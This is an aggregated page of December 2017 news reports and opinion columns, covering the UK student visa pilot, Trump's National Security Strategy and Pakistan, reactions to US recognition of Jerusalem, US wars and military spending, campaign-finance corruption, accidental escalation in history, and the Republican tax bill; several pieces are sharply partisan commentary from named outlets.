
"I also hope that the experience of extending the pilot will give the UK the assurance it needs to further extend the pilot into mainstream policy for the good of the many talented students from around the world who wish to study in the UK," he added.

Burnett also said that we do know that more needs to be done.

"The #WeAreInternational campaign will continue to work with universities up and down the country, as well as businesses and the National Union of Students, to make sure the value of international students is fully reflected in all aspects of government policy and we can increase opportunities for talented international graduates to remain in the UK for a period of work experience once they complete their studies.

"This will bring us in line with the experience in many other countries and the needs of our own economy," he said.

The recent Home Office statistics show that the number of students applying for visas increased by eight percent over the last year, and there has been a nine percent increase in the number of students applying to Russell Group universities.

The recently included 23 universities will be able to apply the pilot to their 2018-19 intake.

PTI
US asks Pak to take 'decisive action' against terror groups

International

pti-PTI

Washington, Dec 19: US President Donald Trump has asked Pakistan to take "decisive action" against terrorist groups operating from its soil, as he unveiled America's new National Security Strategy (NSS). Mandated by the Congress, Trump released his first National Security Strategy, according to which the US seeks a Pakistan, that is not engaged in destabilising behavior and a stable and self-reliant Afghanistan.

"We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help," Trump said in his remarks as he announced his NSS. Pakistan has received more than USD 33 billion from US since the 9/11 terror attacks. "We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, the NSS said. The US will continue to partner with Afghanistan to promote peace and security in the region, it said. "We will continue to promote anti-corruption reform in Afghanistan to increase the legitimacy of its government and reduce the appeal of violent extremist organisations," it added.

The NSS links its efforts to build trade and investment ties with Pakistan with improvement in security. "We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said. Observing that the US continues to face threats from transnational terrorists and militants operating from within Pakistan, the NSS said the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention.

The Trump Administration has been talking tough with Pakistan after it came to power, but has stopped short of taking any action against it even though the Pakistani leadership have shown reluctance in taking decisive actions against terrorist groups. On November 25, the White House asked Pakistan to immediately re-arrest and prosecute Hafiz Saeed, leader of Lashkar-e-Taiba. "If Pakistan does not take action to lawfully detain Saeed and charge him for his crimes, its inaction will have repercussions for bilateral relations and for Pakistans global reputation," the White House Press Secretary Sarah Sanders had said.

In his South Asia speech on August 21, Trump became the first US president to publicly point out for its support to terrorist outfits and leaders. "For its part, Pakistan often gives safe haven to agents of chaos, violence, and terror," he said and asked Pakistan to "demonstrate" its commitment to civilisation, order, and to peace.

US, Trump then said, can no longer be silent about Pakistan's safe havens for terrorist organisations, the Taliban, and other groups that pose a threat to the region and beyond. Since then top US leadership including the Defense Secretary Jim Mattis and the Secretary of State Rex Tillerson have visited Pakistan to press the latter.

Mattis has refused to give necessary certification to Pakistan that it is taking action against Haqqani network, as a result of which blocking several hundred million coalition support funds to Islamabad. However, in the last few weeks, top Pakistani diplomats based in the US have gone on a diplomatic overdrive to sell its narrative and have accused the Trump Administration of Indian agenda in South Asia.

During their series of public appearances at various think tanks in Washington Dc and New York, the Pakistani Ambassador to the US, Aizaz Ahmad Chaudhry, and its Permanent Representative to the United Nations Maleeha Lodhi have said the pronouncement of the Trump administration "which simply puts the blame" on Pakistan and asks India to "do more" in Afghanistan is "disconcerting" for Pakistan.

Both the diplomats insisted that there is crises of governance in US and the White House "being under siege" are affecting ties with South Asia. Foreign Policy establishment is understaffed, they observed.

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From Mondoweiss

Talia Sasson is the president of the liberal Zionist group the New Israel Fund (and a lawyer, former longtime government official, and candidate for the Knesset in the Meretz Party). On a podcast for the New Israel Fund four days ago she decried the idea that Trump's recognition of Jerusalem as the Israeli capital is a blow to the peace process.

"We must continue the peace process, because the two-state solution is the only imaginable political resolution of the conflict, whenever it comes," she said; and "Israelis (i.e., Israeli Jews) will never accept a single state with Palestinians in the West Bank and Gaza having the right to vote for the parliament."

Sasson reasoned:

"In my opinion the two state solution is the only solution that there is. So, with more difficulty or less, usually more, and more farther in the future, or whenever it would happen, this is the only solution in my understanding that can be there... as a separation between the two peoples and different systems of laws. "Because the other way round is one state, and one state --maybe there are many people who believe in it in Israel, but I really doubt it, and I believe that it won't last for the long run in the future. And therefore I believe that if Israel will continue by this situation, the end will be -- in that way, or that way -- one state, with Palestinians in the West Bank, maybe in the Gaza strip would have the right to vote in the Knesset. Then Israel would change its character and one day won't be ever more the home nation of the Jewish people. In my opinion Israelis will never accept that. And therefore I believe it's a matter of price, the two state solution would be. The question is, on what price? As long as the time is running out, the price is higher and higher."

As for people who say Jerusalem recognition is the last blow to peace, Sasson said they are wrong. There must be continuing dialogue, even if it doesn't lead to a deal:

"I don't think so, because negotiations for peace is an interest of both sides. They both need it, even if they don't understand that. Therefore I believe that when people would understand, maybe in Israel that peace is crucial for them, then there would be a dialogue for peace... I don't know if we could end it with a peace agreement, but a dialogue would start."

She also said that Trump's decision was a mistake because it fostered Palestinian "terror."

"I don't believe this decision has any changes on the ground, except some ramifications that I would see negatively, that it encouraged terror. I think that we could see already, violence and terror by Palestinians, and of course it became, 'They are doing this, and Israelis are doing that,' and this way and that way, and we lose more and more lives, without getting anywhere. We're not changing the situation by that."

And she said that the left can't really criticize Trump's decision to recognize Jerusalem as the capital:

"In the left of Israel there is embarrassment. You can't say Well I don't accept American recognition of Jerusalem as the capital of Israel. We thought Jerusalem is our capital anyhow, with recognition or without. So if America recognizes that Jerusalem is the capital of Israel, that's fine with us of course. But I think that this is not the right moment. And when you make the right decision in the wrong moment, it turns the whole decision to be wrong."

Sasson's remarks are a reminder of the fact that even the left in Israel deploys a rhetoric of Jerusalem-is-the-capital of the Jewish state, and Palestinian resistance to occupation is "terror." And left-wing Zionists are opposed to one state because they themselves despair over the end of a Jewish state, or argue that Jewish Israelis will never accept that outcome. Ali Abunimah has said that Jewish Israelis can change their minds on this question the same way that intransigent South African whites changed theirs.

For my own part, I'd say that I work in my community, and it's important to me to see that American Jews abandon the idea of a Jewish state, and support the principles that govern our existence here, and that we have insisted on through many a struggle -- separation of church and state; one person, one vote.
From The National

Jerusalem's inhabitants will have to shame Israel, the US and the watching world by striving for a single state

It is tempting to interpret the announcement of a delay, however brief, in US vice president Mike Pence's visit to the Middle East this week as the ultimate travel warning. It follows an eruption of regional unrest over Donald Trump's recognition of Jerusalem as Israel's capital.

On Friday, during protests, Israeli occupation forces killed four Palestinians and injured more than 250.

US officials, however, are not worried about the safety of Mr Pence, who is due in Israel on Wednesday. In fact, predictions of a third Palestinian uprising in response to Mr Trump's Jerusalem declaration may be premature.

After decades of flagrant US bias towards Israel, Mr Trump has only confirmed to Palestinians what they already knew. Some even grudgingly welcomed his candor. They hope he has finally silenced US claims to being an "honest broker" in an interminable "peace process" that has simply bought time for Israel to entrench the occupation.

The Palestinians' anger towards Israel and the US is a slow-burning fuse. It will detonate at a moment of their choosing, not of Mr Trump's.

Rather, the hesitation in Washington over the vice president's visit reflects the messy new diplomatic reality that the White House has unleashed.

Mr Pence was due here to smooth the path to Mr Trump's long-promised peace plan and to highlight the plight of Christians in the Middle East. The door has now been firmly shut in his face on both counts. Palestinian officials have declared a boycott, as have Christian leaders in Palestine and Egypt.

Instead of cancelling Mr Pence's visit or exploiting the extra days' breathing space to try to reverse the damage, the bull-headed Trump administration is eager to break more of the china.

Following the diplomatic precedent set in May by his boss, Mr Pence is scheduled to visit the Western Wall on Wednesday night in Jerusalem's occupied Old City and immediately below the Al Aqsa mosque plaza.

Described as "official," his visit will be invested with far graver symbolism following Mr Trump's designation of Jerusalem as Israel's capital.

The US policy change on Jerusalem has been a hammer blow to the three main pillars supporting the cause of Palestinian statehood: the Palestinian Authority, the European Union and the Arab states.

The biggest loser is Palestinian president Mahmoud Abbas. Washington stripped him of his emperor's clothes: he now heads a Palestinian government-in-waiting that is unlikely ever to be attached to a state, viable or otherwise.

The Arab states, which assumed they were the key to a much-touted "outside-in" strategy, creating a regional framework for peace, have been deprived of the single issue -- Jerusalem -- that matters most to them.

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Fulfilling his election promise, President Donald Trump announced, on December 6, recognition of Jerusalem as the capital of Israel.

However, this reversal of long-time U.S. policy did not come out of blue. A series of reports published since December 6 unveil the role of major Arab countries in Trump's not-unexpected announcement.

Israeli journalist and head of the Arab desk at the Israeli channel News 10, Zvi Yehezkeli, said that the announcement could not have been made without coordination between Trump and his regional allies. News 10 claimed Saudi Arabia and Egypt gave US President Donald Trump the go-ahead to recognize Jerusalem as the capital of Israel and move the US embassy from Tel Aviv to the occupied city.

Egypt and Saudi Arabia's low-level representation at the Islamic summit on Jerusalem called by the current OIC head, President Recep Tayyib Erdogan of Turkey, perhaps gives credence to this Israeli report. US client Egyptian President President Abdel Fatah al-Sissi sent his foreign minister Sameh Shoukry while Saudi Arabia was represented by a junior minister, state minister for foreign affairs, Nizar Madani.

Istanbul Declaration announces E. Jerusalem capital of Palestine state

The Organization of Islamic Cooperation (OIC) issued the Istanbul Declaration on December 12 recognizing East Jerusalem as the capital of Palestine.

"We confirm that we recognize the state of Palestine with East Jerusalem as its capital, and call the world to recognize East Jerusalem as the occupied capital of Palestine," the declaration said.

The OIC was established during a historic summit in Rabat, Morocco, in 1969 following an arson attack on Al-Aqsa Mosque in occupied Jerusalem.

Turkish President Tayyip Erdogan told the OIC summit that the U.S. President Donald Trump's decision is a reward for Israeli "terror acts."

According to an Anadolu Agency report, Erdogan is now largely viewed as the spiritual leader of all Muslims around the world.

"President Erdogan is not only the leader of Turkey, he is also the spiritual leader of all Muslims around the world, in the view of many Muslim societies," Hamit Emrah Beris, a professor at Ankara's Gazi University, said, adding:

"Erdogan is trying to develop a common language and attitude for all Muslims but this approach is not compatible with the interests of many authoritarian governments in the region."

Tellingly, while the international community has almost unanimously disagreed with Donald Trump's announcement, reports suggest that the announcement was done with the pre-agreement of Egypt and Saudi Arabia, with Saudi Arabia going so far as advising the Palestinian President to accept a village on the outskirts of Jerusalem as the alternative Palestinian capital.

Saudi Arabia orders media outlets to limit coverage of Trump's Jerusalem move

Since the announcement, Saudi Arabia's royal court has instructed the nation's media outlets to limit the airtime given to protests against Trump's announcement.

According to a report by the Arab news portal The Middle East Monitor, the instructions were sent to managers of television and radio stations, as well as newspaper editors.

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From No More Fake News

Al Gore was pure. George W Bush was a monster. John Kerry was pure. Bush was still a monster. John McCain and Mitt Romney were monsters. Barack Obama was pure. Trump is pure. Hillary is a monster. Round and round it goes.

Reverse the labels, turn them upside down, inside out, and you arrive at the same dead-end alley at midnight: none of the big-time pols are pure. Far from it.

Yesterday I posted my article [Dec 17] on some of the upsides and downsides of Trump. Today, let's take just a brief small peek at Obama.

Obama was close to purity, "though some of his policies may have been wrong headed." Really?

The leftist Guardian (1/9/17): "In 2016, US special [military] operators could be found in 70% of the world's nations, 138 countries -- a staggering jump of 130% since the days of the Bush administration."

"...in 2016 alone, the Obama administration dropped at least 26,171 bombs. This means that every day last year, the US military blasted combatants or civilians overseas with 72 bombs; that's three bombs every hour, 24 hours a day."

"As drone-warrior-in-chief, he [Obama] spread the use of drones outside the declared battlefields of Afghanistan and Iraq, mainly to Pakistan and Yemen. Obama authorized over 10 times more drone strikes than George W Bush, and automatically painted all males of military age in these regions as combatants, making them fair game for remote controlled killing."

The champ of bombing. But "pure."

In 1994, I ran for a seat in the US House of Representatives. Halfway through my campaign, I woke up one day and said, "What the hell am I doing?" I saw one possibility, in case I won. My team and I would go to Washington, rent large trucks, and slap very large posters on them, titled: CORRUPT CONGRESSMAN OF THE WEEK. We would show a photo of the target legislator, and list, in one column, his voting record, and in another column, the money he'd taken to cast those votes. Every week, we'd do that. We'd drive those big trucks around Washington streets, slowly, and in the heaviest traffic. And that's pretty much all we would do during my term in office. Of course, I would get censured by the House in my first week, and probably booted out of that august body. But it would be fun. And the publicity could highlight the issue of non-purity.

I lost the primary election to a 20-year incumbent, Henry Waxman. So that was that.

The pressures and forces acting on a politician in Washington are numerous. His own Party leaders are telling him how to vote on bills. Lobbyists too numerous to mention are leaning on him for help. (For example, the mighty AIPAC, which is always on the alert re the interests of the state of Israel.) Businessmen from a Congressman's home district want pork; federal funds for projects. Then there are murky and clandestine influences that come through cutouts for intelligence agencies and the military. The Congressman is spied on by the NSA and other such outfits. His own staff may contain watchdogs, who are secretly reporting his words, attitudes, and actions to these agencies. Outright bribes and offers of future employment in the private sector are quietly placed on the table. The social scene in Washington is seeded with denizens who have agendas and want to be "friends." It never ends. Every Tom, Dick, Harry, and Mary knows that Washington is where the big money and status live. They come there to Get Some, if they can. Pure ideals? Never heard of them.

On top of all this, you have compromise. "Sir, you'll never get this bill passed with the current wording. You'll have to make significant changes. Ask yourself whether you want nothing or a piece of something. Because that's the situation. And if you do compromise, you'll be expected to support other people's bills in the future, bills you won't like..."

Washington is a giant barn that smells so bad no one in his right mind would want to put a foot in it.

"Giant" is a key word. The severely limited central government spelled out in the Constitution is but a faint memory of a "simpler time."

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This article originally appeared at TomDispatch.com.

In a Washington politically riven in ways not seen since the pre-Civil War era, take hope. Despite everything you've read, bipartisanship is not dead. On one issue, congressional Democrats and Republicans, as well as Donald Trump, all speak with a single resounding voice, with, in fact, unmatched unanimity and fervor as they stretch hands across the aisle in a spirit of cooperation. Perhaps you've already guessed, but I'm referring to the Pentagon budget. By staggering majorities, both houses of Congress just passed an almost $700 billion defense bill, more money than even President Trump had requested and he's already happily signed it.

And Americans generally seem to partake of the same spirit. After all, while esteem for other American institutions like, uh, Congress has fallen radically in these years, the U.S. military hasn't lost a step. Last June, for instance, Gallup's pollsters found that public confidence in U.S. institutions generally had dropped to a dismal 32%, but a soaring 73% of Americans had the highest possible confidence in the military, which means that Donald Trump's decision to surround himself with three generals as secretary of defense, White House chief of staff, and national security adviser was undoubtedly a popular one. In a similar vein, it's striking that America's war on terror, now entering its 17th dismal year and still expanding, and the military that wages it remain essentially beyond criticism or protest. It hardly seems to matter that, in this century of constant warfare across significant parts of the planet, that military has yet to bring home a real victory of any sort.

Who cares? That military is, by now, a distinctly Teflon outfit to which no criticism sticks, even through it and the rest of the national security state swallow stunning amounts of taxpayer dollars as if there were no tomorrow, while the Pentagon experiences cost overruns of every kind for its weapons systems, has proven incapable of auditing itself (ever!), and recently couldn't even account for 44,000 (yes, 44,000!) of its troops deployed somewhere in the imperium, though who knows where. No wonder Donald Trump, a man of no fixed beliefs (except about himself), but with a finely tuned sense of what might be popular with his base, has loosed that military from many of the already modest bounds within which it's fought its largely losing wars of these last years, and seems to be leaving its generals (and the CIA) to do their escalatory damnedest from Afghanistan to Niger, Syria to Somalia.

With all of this in mind, as another year in which permanent war is the barely noticed background hum of American life, I asked TomDispatchregular U.S. Army Major Danny Sjursen, author of Ghost Riders of Baghdad, to assess American war in 2017 and consider just where we're headed. Tom

America's Wars

Yet More of More of the Same?

By Danny Sjursen I remember the day President Obama let me down. It was December 1, 2009, and as soon as the young president took the podium at West Point and -- calm and cool as ever -- announced a new troop surge in Afghanistan, I knew. There wasn't a doubt in my mind. In that instant, George W. Bush's wars had become Barack Obama's. But where Bush had seemed, however foolishly, to believe his own rhetoric about America's glorious military mission in the world, you always sensed that Obama's heart just wasn't in it. He'd been steamrolled by ambitious generals who pioneered generational warfare and hawkish cabinet members like Secretary of State Hillary Clinton and Bush-holdover Secretary of Defense Robert Gates. Then again, what choice did he have, given the way he'd run his presidential campaign on the idea that Afghanistan was a "war of necessity" and so the foil for Iraq, the "dumb war"? Now he was stuck with that landlocked, inhospitable little war, come what may. As we all know (and as I had little doubt then), it didn't work out. Not at all. Like many other idealistic Americans, I'd bet big on Obama. The madness and futility of my own 15 months in Iraq as a scout platoon leader -- you know, one of those "warriors" you're obligated to thank endlessly for his service -- had forever soured me on nation-building crusades in faraway lands. And the young, inspiring senator from Illinois seemed to have some authentic anti-war chops. Unlike Hillary Clinton or Joe Biden, he was untarnished by the October 2002 Iraq War resolution vote that gave the Bush administration the right to shock and awe the hell out of Saddam Hussein. Looking back, I suppose I should have known better. Obama had only been a state senator with an essentially nonexistent record on foreign policy when he first criticized Operation Iraqi Freedom. Still, after so many years of Bush's messianic adventures, anyone seemed preferable. That was more than eight years ago and somehow the United States military is still slogging along in Iraq and Afghanistan. What's more, Bush's wars have only expanded in breadth, if not in depth, to Syria, Yemen, Libya, Somalia, and Niger, among other places. Yes, ISIS as a "caliphate" has been defeated. As a now-global franchise, however, anything but, and victory -- whatever that might mean at this point -- couldn't be further off as our next president, Donald Trump, approaches his one year mark in office and he and "his" military only ratchet up those wars further. Good Instincts? The Trump-Clinton election fiasco of 2016 was, to say the least, disturbing. And while I was no fan of Mr. Trump's language, demeanor, or (however vague) policies, when it came to our wars he did seem to demonstrate some redeeming qualities. Running against Hillary the hawk presented him with genuine opportunities. She, after all, had been wrong about every major foreign policy decision for more than a decade. Iraq? She voted for it. Afghanistan? She wanted another "surge." Libya? She was all in and had a fine chuckle when autocrat Muammar Gaddafi was killed. Mr. Trump, on the other hand, while visibly ill informed and anything but polished on such subjects, occasionally sounded strangely rational and ready to topple more than a few sacred cows of the foreign policy establishment. He called both the Iraq and Afghan wars "stupid," criticized the poorly planned and executed Libyan operation that had indeed loosed chaos and weaponry from Gaddafi's looted arsenals across North Africa, and had even questioned whether military escalation, supposedly to balance Russian moves in Eastern Europe, was necessary. Whether he really believed any of that stuff or was just being an effective attack dog by pouncing on Hillary's grim record we may never know. What already seems clear, however, is that Trump's version of global strategy -- to the extent that he even has one -- is turning out to be yet more of more of the same. He did, of course, quickly surround himself with three generals from America's losing wars clearly convinced that they could "surge" their way out of anything. More troublesome yet, it seems to have registered on him that military escalation, air strikes of various sorts, special operations raids, and general bellicosity all look "presidential" and so play well with the American people. In constant need of positive reinforcement, Trump has seemed to revel in the role of war president. When he simply led a round of applause for a widow whose husband had died in a botched raid in Yemen early in his presidency, CNN commentator Van Jones typically gushed that he "just became president of the United States, period." After he ordered the launching of a few dozen cruise missiles targeting one of Bashar al-Assad's air bases in Syria, even Washington Post columnist and CNN host Fareed Zakaria lauded him for acting "presidential." War sells, as does fear, especially in the America of 2017, a country filled with outsized fears of Islamic terrorism that no one knows how to stoke better than Donald Trump. So expect more, much more, of each next year.

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From Paul Craig Roberts Website

What do we make of Trump's national security speech? First of all, it is the military/security complex's speech, and it is inconsistent with Trump's intention of normalizing relations with Russia.

The military/security complex, using Trump's position as President, has defined Russia and China as "revisionist powers," Washington's rivals who seek to put their own national interests ahead of Washington's unilateralism. Russia and China are "revisionist powers" because their assertion of their national interests limits Washington's hegemony.

In other words, Washington does not accept the validity of other countries' interests if those interests are contrary to Washington's interests. So, how does Trump expect to work with Russia and China when he reads a speech that Russia and China seek to "shape a world antithetical to our interests and values."

"Our values" means, of course, Washington's dominance.

Trump begins by honoring the military, police, Homeland Security, and the Chairman of the Joint Chiefs of Staff. In other words, "America first" means domination by Washington over the citizenry as well as over foreign countries.

Trump then cloaks himself in the American people who "voted to make America great again."

Then Trump's speech picks up the Israel Lobby's line about a bad deal with Iran and asserts that previous administrations tolerated ISIS, when in fact they created it and set in upon Libya and Syria.

Then he attacks environmental protection and complains of illegal aliens, while ignoring the refugees Washington's wars imposed on Europe.

In an era of neoconservative celebration of US world hegemony, Trump accuses his predecessors of losing confidence in America. This is extraordinary. When a country's entire foreign policy is based on the assumption that it is the "exceptional and indispensable country," how is this a loss of confidence? It is massive arrogance and hubris. The problem is not a loss of confidence by the rulers but an overbearing hubris.

Then Trump claims that through him, Americans again rule their nation.

He says that now Washington is serving the citizens. Looking at the tax bill, he must mean that citizens consist of the One Percent.

He next associates making America first with more money for the military.

Then he blames Iran for terrorism, something that Iran lives in fear of, but he does not mention Saudi Arabia's support for terrorism or that of the US military/security complex which encourages terrorism as a weapon against Iran and Russia and as an excuse for its massive budget and power.

Trump then claims credit for the Russian/Syrian defeat of ISIS. It has been proved that ISIS is supported and financed by Washington. Trump's claim is even more ridiculous than the previous claims of the Obama regime that the US defeated National Socialist Germany. Russia, which did defeat Germany, was not invited to the anniversary celebration.

Trump next demands that the countries we defend pay for it. Who are these countries and who do we defend them from? He can only mean Europe, Canada, Australia, Israel, and Japan. Is Washington defending them from Russia, China, North Korea and Iran -- or from the terrorists Washington creates, arms, and supplies to overthrow Libya, Syria and whatever countries Washington is successful siccing terrorists on? Apparently, some of these CIA-created terrorist organizations break loose from their creator and conduct operations on their own. So, Washington is a government that creates its own enemies.

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US Capitol Sold (Washington, DC)

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Way back in 1992 I worked for a US House of Representatives candidate in Santa Barbara, California, for the Green Party. One of our opponents was deep-pocketed Michael Huffington, whose wife at the time was Arianna Stephanopoulos, better known as Arianna Huffington. Yes, that Arianna, later of the Huffington Post. But that is not central to this story. Since one of the precepts of the Green Party was grassroots democracy, we promoted campaign-finance reform through public funding of elections. Any fool can see that congressional seats are usually sold to the highest bidder; case in point was Michael Huffington. This unknown newby politician, with beaucoup bucks from his oil-company daddy, had recently moved to a mansion in the tony suburb of Montecito. A carpetbagger, with no record of public service or relevant experience of any kind, but with an articulate wife as spokesperson, Huffington ousted a long-time Republican incumbent named Robert Lagomarsino who served from 1974-1992. He primaried Lago by spending a fortune on tv and radio ads, and the incumbent was trashed in a heartbeat. He then bombarded the tv and radio waves for months with relentless advertising, and walloped the Democrat and Green in the general election to win the seat.

Huffington subsequently became known as the "supposed" Representative from Santa Barbara, since he did next to nothing in Congress, except spend all his time running for the next US Senate Election in 1994. Through massive campaign spending once again, this empty shirt nearly defeated Diane Feinstein to become the Jr. Senator from California receiving 44.83% to Feinstein's 46.74%; party loyalty I guess. Rumor had it that Arianna was plotting to become first lady, since she was born in Greece and couldn't run herself, with Huffington to run for President next. When that didn't pan out, Michael served out his one term in the House, then came out of the closet and the couple got divorced. I guess the facade no longer paid off. But don't cry for Arianna as she didn't do too badly for herself in the end. None of that is of much importance except to illustrate the role money plays in elections when ambitious people use wealth to further their own selfish agendas, even though they have no qualifications for the job, or even desire to do the job! Some say that self-funded campaigns by wealthy candidates are more desirable than candidates that have to fundraise, because they are immune to demands from funders. But doesn't this true story demonstrate that neither one is very beneficial to the public?

Now this brings us back to our House of Representatives campaign and our advocacy of public campaign finance. Anyone with a pulse can see that money corrupts election campaigns, and lobbyists corrupt Congress. Our election system is legalized bribery. Everyone knows it, even if the Supreme Court tries to cover it up with abominable decisions like Buckley vs Valeo in 1976, claiming that money is "free speech". And then they pass an even more horrendous "Citizen's United" decision in 2010, saying that if money is speech, then people are entitled to give as much "speech" to politicians as they want through PACS and dark PACS. No legal cover can hide the fact that money bribes politicians, and the law is an ass. Witness the recent payoff to Zionist billionaire Sheldon Adelson for financing Trump's campaign, when Trump named Jerusalem as Israel's capital. Can you think of any other logical reason for it?

So if everyone knows that campaign finance is legalized bribery, why isn't anything done about it? This brings us back to my conversations with the electorate and why voters are cynical and give up on the process. During many campaign events I spoke to hundreds of voters and asked them if they support public financing of elections. Their answer was almost always the same, "I don't want to give any money to those @#%!*!!, dirty, rotten politicians!" My initial reaction was that voters are idiots, and their anger was misdirected at politicians, instead of the self-perpetuating money system they milk to get elected. But I can't really blame them, since Congress never takes any real action to change it, and the courts continually make it worse. The system feeds a sense of cynicism among the public that helps perpetuate itself, by disengaging them from politics, and leading most of them to not even vote.



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https://fas.org/sgp/crs/misc/R41545.pdf

https://fas.org/sgp/crs/misc/R42964.pdf

https://www.cdc.gov/nchs/data/hus/hus16.pdf#015

https://www.loc.gov/law/help/campaign-finance/comparative-summary.php

Due to this experience I came up with the following diagrams, which are summarized in the chart above, which many people have not considered I guess. I think they bring clarity to the issue and illustrate how ludicrous it is that campaigns aren't publicly funded. At least that is my view. Of course, our political system is so royally screwed in so many other ways in need of reform, that it may be a moot point. But campaign finance is really at the root of the problem, radical in the true meaning of the term. So maybe putting it into this perspective can help. I'll give it a shot anyway. Please hear me out:

The average US Representative is elected at age 49, and serves for 10 years, after which they retire and receive a government pension for the rest of their life until the average life expectancy of 78.8 years. Finishing their term at age 59 means they receive a retirement pension for 19.8 years. I know it's different for men and women, but for purposes of this illustration it doesn't matter much. Add 19.8 years retirement to the term in Congress of 10 years, totals an average of 29.8 years of support at taxpayer expense. While they are in office, taxpayers are supporting the Capital building, the House member's salary, staff, office, telephone, utilities, travel, home office, meals, etc. etc. Taxpayers are supporting all of their expenses from the day they are elected until the day they leave Congress, and then support their retirement until the day they die, almost 30 years altogether.

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In 1898 a mysterious explosion sank the American battleship Maine in Havana harbor. While the exact cause is still debated, the results were undeniable and decisive. Press and public clamor for retaliation led swiftly to an American declaration of war against Spain followed by an invasion of Cuba, the conquest the Philippines and Guam and the sudden leap of the United States into the position of world-wide imperialistic dominance it still occupies.

Slightly more than a decade later, in 1914, two shots by a Serbian terrorist in little-known Sarajevo, Bosnia, set off World War I, a conflagration of earthshaking global consequences that no one expected or wanted, causing nearly 40 million military and civilian deaths, along with results that continue to reverberate throughout Europe, Asia and the Middle East down to the present day.

In 1950, at a peak in Cold War tensions, political and strategic overreach by General Douglas MacArthur commanding United Nations forces fighting North Korean aggression against the South triggered an unanticipated and overwhelming Chinese response. The result was three years of additional bloody warfare in Korea, which in addition to hundreds of thousands of deaths on all sides brought the world to the brink of nuclear war.

Once again, in 1962, a dangerous miscalculation by Soviet Premier Nikita Khrushchev in attempting to place nuclear missiles in Cuba to balance the presence of American missiles around his country, brought the world closer than ever to the edge of a nuclear war with unimaginable global consequences. How close we came to disaster, we later learned, rested less on diplomacy than on the heroic decision by a Soviet submarine captain NOT to fire a nuclear torpedo at an American destroyer despite faulty indications that an attack was underway.

We know now that on at least three other occasions, false-positive readings on radar screens in both Soviet and American nuclear-defense systems nearly led to the launching of retaliatory responses that could have brought catastrophic results for both human civilization and the global environment. In each case, only the actions of individual humans under intense pressure, choosing to interpret the reports as electronic glitches rather than incoming missile tracks, prevented disaster.

Exactly what chain of events might be set off by the provocative statements, military posturing, accidents, missile tests, war games or even deliberate actions by players in the current dramatic standoff between North Korean dictator, Kim Jong-un, and President Donald Trump is not yet known. What we do know, however, is that massive historical conflicts and global disasters can be triggered by rogue individuals or unanticipated events at multiple levels in complex systems--often in ways that are unimaginable and, in fact, entirely unpredictable.



Slim Pickins Rides the Bomb

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The more heated the crisis atmosphere, the more likely it is that preexisting ideological predispositions or perceptual biases rather than objective facts will determine the decision-making process. Were American destroyers really under attack in the Gulf of Tonkin in the summer of 1964--as early reports reaching Washington indicated? Or to what degree were the reports interpreted, or shaped, to bring about the desired political results?

Likewise, how was the intelligence perceived or 'fixed' in the run-up to the 2003 invasion of Iraq to support the incorrect preconception that Saddam Hussein was on the cusp of developing nuclear weapons? And what cycle of seemingly endless tragedy in the region has ensued because of that decision?

Recent exposure to what have been called "Black Swans" (unpredictable or unforeseen events with extreme consequences) like the sudden collapse of the Soviet Union in 1989, 9/11, the almost-complete global financial meltdown in 2008, or even the election of Donald Trump, should certainly give us pause; as should our growing understanding of the sensitivity of interconnected planetary systems to human activity.

What Chaos Theorists describe as the butterfly effect might, at least metaphorically, allow us to recognize the snowballing impact that small changes in one part of a complex system can initiate in the system as a whole.

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Youve probably read plenty about whats in the tax bill that House and Senate Republicans agreed to last week: A big cut in corporate taxes. Generous tax cuts for the wealthy, including a reduction of the top individual tax rate. More modest cuts for anyone who makes less than $200,000 or so.

Equally striking is whats missing. There are many different ways to cut taxes, but they all require making choices. Not everyone benefits equally.

This bill put corporate tax cuts first; thats where roughly 70 percent of the benefits go. Theres not much in the bill for the working poor  those who earn less than $40,000 a year. Most of those folks pay no federal income tax, but they do pay Social Security and Medicare taxes, which were not cut.

The tax bill doesnt expand the Earned Income Tax Credit, part of the tax code that supplements the income of low-wage workers. A full-time single worker who earns the federal minimum wage of $14,500 a year currently gets an EITC of only $37; an increase would have made a difference.

The EITC is beloved by Democrats. Some Republicans  including House Speaker Paul Ryan of Wisconsin  support it, too. But an expansion didnt make it into this years bill.

The working poor did get one break: Republican Sens. Marco Rubio of Florida and Mike Lee of Utah insisted on an increase in the refundable part of the child tax credit. Under the bill, workers who dont pay income taxes can claim up to $1,400 per child. (Workers who do pay taxes can claim $2,000 as long as their income is below $400,000.)

But Rubio and Lee didnt get the biggest change they wanted, which was to apply the credit to low-wage workers entire income. Under their proposal, a minimum-wage worker making $14,500 would get a $494 tax credit; under the current bill, shell get only $75, according to the liberal Center for Budget and Policy Priorities.

Another missing item: President Trumps promise to get rid of the carried interest loophole. Carried interest was unfair, and its gone, Trump said last spring.

But that odious tax break isnt gone. Its just been tweaked a little.

Under current law, when managers of private equity funds, venture capital funds and hedge funds reap a share of their investors profits, they pay taxes at the low rate that applies to capital gains, not the higher rate that applies to ordinary income.

Under the new law, the fund managers still get that break, as long as they hold the underlying investment for at least three years. Tax experts say most of the managers who claim the loophole wont find that to be a problem.

Also lost in the shuffle: Simplicity.

When the House of Representatives started work on the bill, it eliminated many tax deductions, including medical expenses, state taxes and local taxes. Some of those deductions turned out to be popular, and they were revived in the negotiations between the House and Senate. As a result, plenty of middle-class taxpayers will have to figure their taxes under two systems, both with itemized deductions and without.

One final notable absence is a pot of money to finance better roads, bridges and airports.

When the tax debate started, one popular proposal  popular among policy wonks, anyway  was to pay for infrastructure with taxes from repatriated profits.

U.S. companies have trillions of dollars parked overseas, and the tax bill would allow them to bring that money home at a reduced tax rate. The added revenue could reach $298 billion over 10 years, according to Congress Joint Committee on Taxation.

But the money has already been spent. The bill commits the revenue to pay for its cuts to corporate and individual income taxes. Theres nothing left over for roads and bridges.

The biggest missing items are the unfulfilled populist promises of Trumps presidential campaign.

Tax reform will protect low-income and middle-income households, not the wealthy and well-connected, the president said last spring. They can call me all they want. Its not going to help. Im doing the right thing, and its not good for me. Believe me.

When he came to the White House, Trump and his aides promised that the wealthy wouldnt get a tax cut. His populist adviser, Stephen K. Bannon, even suggested socking the rich with a tax increase. That didnt happen.

